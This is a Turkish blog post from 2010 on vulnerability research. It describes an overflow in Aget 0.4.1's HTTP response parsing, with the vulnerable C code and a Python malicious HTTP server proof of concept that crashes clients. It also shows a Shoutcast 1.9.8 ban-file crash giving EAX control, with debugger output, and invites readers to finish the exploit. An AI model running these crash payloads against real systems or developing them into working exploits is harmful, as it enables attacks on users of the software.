

Egzersiz...

written by Mert SARICA | 5 Ocak, 2010

Pas tutmamak için kaynak kodu inceliyor, fuzzing ile de ufak tefek programları kurcalıyordum ki iki farklı uygulamada iki bug ile karşılaştım. İstismar edilme ihtimallerinin oldukça düşük olduğunu düşünsemde el elden üstündür diyerek sizlerle paylaşıyorum belki aranızdan biri istismar ederek bizleri aydınlatır.

İlk olarak bir çok linux dağıtımında yer alan Enderunix'in [Aget v0.4.1](#) programının kaynak kodlarını inceledim.

```
aget-0.4.1\Defs.h
```

```
...
GETRECVSIZ = 8192,
....
```

```
aget-0.4.1\Download.c
```

```
...
void * http_get(void *arg) {
struct thread_data *td;
int sd;
char *rbuf, *s;
...
if ((dr = recv(sd, rbuf, GETRECVSIZ, 0)) == -1) {
Log(" recv failed: %s", tid, strerror(errno));
pthread_exit((void *)1);
}
...
rbuf = (char *)calloc(GETRECVSIZ, sizeof(char));
...
s = rbuf;
i = 0;

while(1) {
if (*s == '\n' && *(s - 1) == '\r' && *(s - 2) == '\n' && *(s - 3) == '\r') {
s++;
i++;
break;
}
s++;
i++;
}
}
```

Yukarıdaki koda dikkat edecek olursak Defs.h dosyasında GETRECVSIZ, 8192 byte olarak tanımlanmış ve calloc fonksiyonu ile 8192 byte büyüklüğünde hafıza tahsis edilmiş ve rbuf'a atanmış ancak kontrolsüz while döngüsü nedeniyle hafıza taşması sorunu ortaya çıkıyor ve sonuç olarak array index out of bound zaafiyeti ile karşılaşıyoruz.

Zaafiyeti teyit etmek içinse daha önce internetten bulduğum (sanırım milw0rmda bulmuştum) ve client-side güvenlik zaafiyetini istismar etmek için hazırlanmış olan aracı biraz değiştirerek teyit ettim, sonuç segmentation fault.

```
#!/usr/bin/env python
from BaseHTTPServer import HTTPServer
from BaseHTTPServer import BaseHTTPRequestHandler
import sys
try:
import psyc0
psyc0.full()
except ImportError:
pass
class myRequestHandler(BaseHTTPRequestHandler):
try:
def do_HEAD(self):
# Always Accept GET
# self.printCustomHTTPResponse(200)
buffer = "HTTP/1.1 200 OK\r\nDate: Sat, 02 Jan 2010 13:06:39 GMT\r\nServer:
Apache/2.2.11 (Debian) DAV/2 SVN/1.5.1 mod_python/3.3.1 Python/2.5.2
mod_ssl/2.2.11 OpenSSL/0.9.8g mod_transform/0.6.0\r\nLast-Modified: Thu, 02
Jun 2005 07:53:29 GMT\r\nETag: \"f6cedc-5c800-3f88a8879f040\"\r\nAccept-
Ranges: bytes\r\nContent-Length: 1\r\nContent-Type: application/x-msdos-
program\r\n"
self.wfile.write(buffer)
def do_GET(self):
# Always Accept GET
self.printCustomHTTPResponse(200)
# Print custom HTTP Response
def printCustomHTTPResponse(self, respcode):
self.send_response(respcode)
self.send_header("Server", "myRequestHandler")
self.send_header("Content-Length", "1")
buffer = "A"*8041 + "\r\n" + "A"*8041 + "\r\n" + "A"*8041
# self.send_header("Content-type", "application/x-msdos-program")
self.send_header("Content-type", buffer)
# self.wfile.write(buffer)
self.end_headers()

except Exception:
pass
httpd = HTTPServer(('', 80), myRequestHandler)
try:
httpd.handle_request()
httpd.serve_forever()
except KeyboardInterrupt:
print ("\n\nExiting exploit...\n\n")
sys.exit()
```

Aget dışında download.com internet sitesinde gezinirken zamanında eğlenmek için kullandığım shoutcast internet radyo programı ile karşılaştım ve göz atmaya karar verdim. Kurulumu gerçekleştirip biraz incelediğimde admin panelinde IP adresi banlamak ve görüntülemek için kullanılan Ban List bölümü dikkatimi çekti. Programın banlanan IP adresini ise sc_serv.ban dosyasına kayıt ettiğini ve her çalıştırıldığında yüklediğini öğrendikten sonra fuzzing için hedef dosyayı inceledim ve test için banladığım IP adresine ait kaydın `1.1.1.1;255;Manual Add` olarak dosya içerisinde yer aldığımı gördüm. File fuzzing'i otomatize etmek için bir script hazırlamadan önce manuel olarak gerçekleştirdiğim ilk testte uygulamanın göçtüğünü gördüm ve debugger ile incelediğimde EAX registerına istediğim değeri yazabildiğimi gördüm ancak biraz daha inceledikten sonra EIP registerına gidecek azmi ve vakti bulamadım ve egzersiz olarak sizlere bırakabileceğimi düşündüm.

[Shoutcast v1.9.8 \(windows & linux\)](#)

sc_serv.ban içerisinde `1.1.1.1;255;AAAAA`(281 tane) satırını eklemeniz EAX registerına yazabilmeniz için yeterli oluyor.

The screenshot shows the Immunity Debugger interface for `sc_serv.exe`. The assembly window displays the following instructions:

```

7C91B210 FF49 10 INC DWORD PTR DS:[EAX+10]
7C91B211 8B45 FC MOV EAX, DWORD PTR SS:[EBP-4]
7C91B220 83E0 01 AND EAX, 1
7C91B223 8945 E8 MOV DWORD PTR SS:[EBP-18], EAX
7C91B226 8945 E8 MOV DWORD PTR DS:[ESI], EAX
7C91B228 FF40 14 INC DWORD PTR DS:[EAX+14]
7C91B228 F605 F02FE7F0 TEST BYTE PTR DS:[7FFE02F0], 1
7C91B230 9945 702000 JNB ntdll.7C933776
7C91B236 39E0 E8 CMP DWORD PTR SS:[EBP-18], EBX
7C91B238 57 PUSH EDI
7C91B23C 59 PUSH EBX
7C91B241 0F85 F8840100 JS F885.F8840100
7C91B243 FF75 FC PUSH DWORD PTR SS:[EBP-4]
7C91B246 E8 0320FFFF CALL ntdll.ZwWaitForSingleObject
7C91B248 30 03010000 CMP EAX, 10
7C91B250 0F84 AB870200 JE ntdll.7C943A01
7C91B256 3BC3 CMP EAX, EBX
7C91B258 0F85 60800200 JS ntdll.7C943A0E
7C91B25E 38E0 0B CMP BYTE PTR SS:[EBP+3], BL
7C91B261 5F POP EDI
7C91B262 74 18 JE SHORT ntdll.7C91B270
7C91B264 64101 18000000 MOV EAX, DWORD PTR FS:[18]
7C91B266 8B40 24 MOV EAX, DWORD PTR DS:[EAX+24]
7C91B26D 8946 0C MOV DWORD PTR DS:[ESI+0], EAX
7C91B270 64101 18000000 MOV EAX, DWORD PTR FS:[18]
7C91B276 8938 840F0000 MOV DWORD PTR DS:[EAX+8], EBX
  
```

The registers window shows the following values:

```

Registers (FPU)
EAX 42424242
ECX 00000000
EDX 00A205F0
EBX 00000000
ESP 0006ED53
EBP 0006EDDC
ESI 00A205E0 ASCII "BBBBCCBB"
EDI 00000000
EIP 7C91B21A ntdll.7C91B21A
  
```

The dump window shows the following memory addresses and their corresponding hex and ASCII values:

```

Address Hex dump ASCII
0041A000 00 00 00 00 00 00 00 00 .....
0041A008 00 00 00 00 7C 2E 41 00 ....15A.
0041A010 FB 75 41 00 00 00 00 00 .....1A.....
0041A018 00 00 00 00 24 36 41 00 ....$6A.
0041A020 00 00 00 00 00 00 00 00 .....
0041A028 00 00 00 00 00 00 00 00 .....
0041A030 10 27 00 00 48 54 54 50 *HTTP
0041A038 2F 31 2E 31 20 35 30 30 /1.1.500
0041A040 00 00 00 00 48 54 54 50 ...HTTP
0041A048 2F 31 2E 30 20 35 30 30 /1.0.500
0041A050 00 00 00 00 48 54 54 50 ...HTTP
0041A058 2F 31 2E 31 20 34 30 34 /1.1.404
0041A060 00 00 00 00 48 54 54 50 ...HTTP
0041A068 2F 31 2E 30 20 34 30 34 /1.0.404
0041A070 00 00 00 00 48 54 54 50 ...HTTP
0041A078 2F 31 2E 30 24 30 31 /1.0.401
0041A080 00 00 00 00 48 54 54 50 ...HTTP
0041A088 2F 31 2E 31 20 24 30 31 /1.1.401
0041A090 00 00 00 00 48 54 54 50 ...HTTP
0041A098 2F 31 2E 30 20 32 30 30 /1.0.200
0041A0A0 00 00 00 00 48 54 54 50 ...HTTP
0041A0A8 2F 31 2E 31 20 30 30 30 /1.1.200
0041A0B0 00 00 00 00 69 69 72 20 .....icv-
0041A0B8 61 75 74 68 20 69 69 63 auth-kic
0041A0C0 68 20 75 69 64 3A 00 00 k-uld:
0041A0C8 59 63 79 20 61 75 74 68 icv-auth
0041A0D0 20 64 75 72 61 74 69 6F -duratio
0041A0D8 6E 30 00 00 69 68 79 20 n:..icv-
0041A0E0 61 75 74 68 20 65 72 72 auth-exp
0041A0E8 5F 74 30 00 41 48 4E 00 o:..BCK
  
```